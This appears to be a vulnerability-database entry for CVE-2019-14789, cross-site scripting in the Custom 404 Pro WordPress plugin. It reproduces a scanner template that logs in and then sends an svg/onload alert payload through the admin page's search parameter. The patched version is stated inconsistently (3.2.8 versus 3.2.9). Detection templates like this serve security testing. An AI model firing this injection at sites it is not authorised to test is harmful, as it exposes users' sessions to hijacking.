CVE-2019-14789: Custom 404 Pro < 3.2.8 - Cross-Site Scripting

2025-08-01 Custom 404 Pro PoC Public

Description

Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2019-14789

info:
  name: Custom 404 Pro < 3.2.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to Custom 404 Pro version 3.2.8 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/81ee1df5-12dc-49d8-8d49-ca28d6f5b7fd
    - https://wordpress.org/plugins/custom-404-pro/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14789
    - https://wordpress.org/plugins/custom-404-pro/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14789
    cwe-id: CWE-79
    epss-score: 0.01611
    epss-percentile: 0.74715
    cpe: cpe:2.3:a:kunalnagar:custom_404_pro:3.2.8:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: kunalnagar
    product: custom_404_pro
    framework: wordpress
  tags: cve,cve2019,wpscan,custom-404-pro,wp,wp-plugin,wordpress,authenticated,xss,kunalnagar,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=c4p-main&s=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "Custom 404 Pro")'
        condition: and
# digest: 490a0046304402205b99affa2687327620c820147186f007eda88aa4ce9dac94eb5e954081f477cd0220739d65ae3717fe9aa6909a45f7a9fb3613a07fa6fba46f3f0de57ea8a5dca4ad:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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